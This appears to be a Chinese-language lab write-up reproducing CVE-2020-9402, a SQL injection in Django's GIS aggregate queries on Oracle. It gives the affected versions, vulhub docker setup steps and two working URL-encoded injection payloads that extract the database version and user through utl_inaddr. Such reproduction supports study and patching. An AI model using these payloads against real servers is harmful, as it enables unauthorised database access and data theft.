声明
好好学习,天天向上
漏洞描述
Django在2020年3月4日发布了一个安全更新,修复了在GIS 查询功能中存在的SQL注入漏洞。
该漏洞需要开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句。
影响范围
1.11.29之前的1.11.x版本
2.2.11之前的2.2.x版本
3.0.4之前的3.0.x版本
复现过程
这里使用3.0.3版本
使用vulhub
cd /app/vulhub-master/django/CVE-2020-9402
使用docker启动
docker-compose up -d
环境启动后,访问http://your-ip:8000
http://192.168.239.129:8000
环境稍微难启动,首先需要很大的磁盘空间,9G左右,提前用docker把镜像删掉,其次,下载过程失败,就多试几次,启动后,多等一会,我的是反反复复搞了三四次才搞定
payload1
http://192.168.239.129:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1
payload2
http://192.168.239.129:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down